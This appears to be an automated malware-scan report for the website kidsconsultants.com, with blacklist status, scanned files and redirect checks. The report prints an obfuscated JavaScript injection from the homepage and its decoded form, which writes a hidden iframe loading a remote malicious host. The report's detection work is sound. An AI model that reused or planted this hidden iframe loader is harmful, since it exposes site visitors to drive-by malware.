Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=kidsconsultants.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://kidsconsultants.com/ | 200 OK Content-Length: 12189 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var ar=" if (document.gElsByTaN'b)[0]{r;}v=\"pChw<:/-x2z?361>A,";var ar2=[0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,10,12,15,16,10,9,10,11,12,17,18,19,20,21,14,22,21,9,10,4,23,24,6,5,19,23,25,26,27,28,25,29,0,0,0,1,2,30,21,9,10,30,4,25,31,0,0,32,3,10,16,17,10,3,29,0,0,0,33,21,30,3,24,5,19,3,34,3,5,6,7,8,9,10,11,12,13,7,30,10,21,12,10,15,16,10,9,10,11,12,4,35,24,6,5,19,35,25,31,0,0,0,12,30,19,3,29,0,0,0,0,5,6,7,8,9,10,11,12,13,21,36,36,10,11,5,37,38,1,16,5,4,24,5,19,25,31,0,0,0,32,3,7,21,12,7,38 e(s); Decoded script: if (document.getElementsByTagName('body')[0]){ iframer(); } else { var bdy = document.createElement("body"); try { document.appendChild(bdy); } catch (e) { document.body = bdy; } if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://in-yandexxx2.cz.cc/in.cgi?36' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } } function iframer(){ var f = document.c <iframe src='http://in-yandexxx2.cz.cc/in.cgi?36' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://kidsconsultants.com/../Scripts/swfobject_modified.js | 500 Status read failed: Соединение ÑазоÑвано дÑÑгой ÑÑоÑоной Content-Length: 152 Content-Type: text/plain | clean |
http://kidsconsultants.com/test404page.js | 404 Not Found Content-Length: 400 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: kidsconsultants.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Dec 2014 21:42:25 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 12189
Content-Type: text/html
...12189 bytes of data.
GET / HTTP/1.1
Host: kidsconsultants.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Dec 2014 21:42:25 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 12189
Content-Type: text/html
...12189 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: kidsconsultants.com
Referer: http://www.google.com/search?q=kidsconsultants.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: kidsconsultants.com
Referer: http://www.google.com/search?q=kidsconsultants.com
Result:
The result is similar to the first query. There are no suspicious redirects found.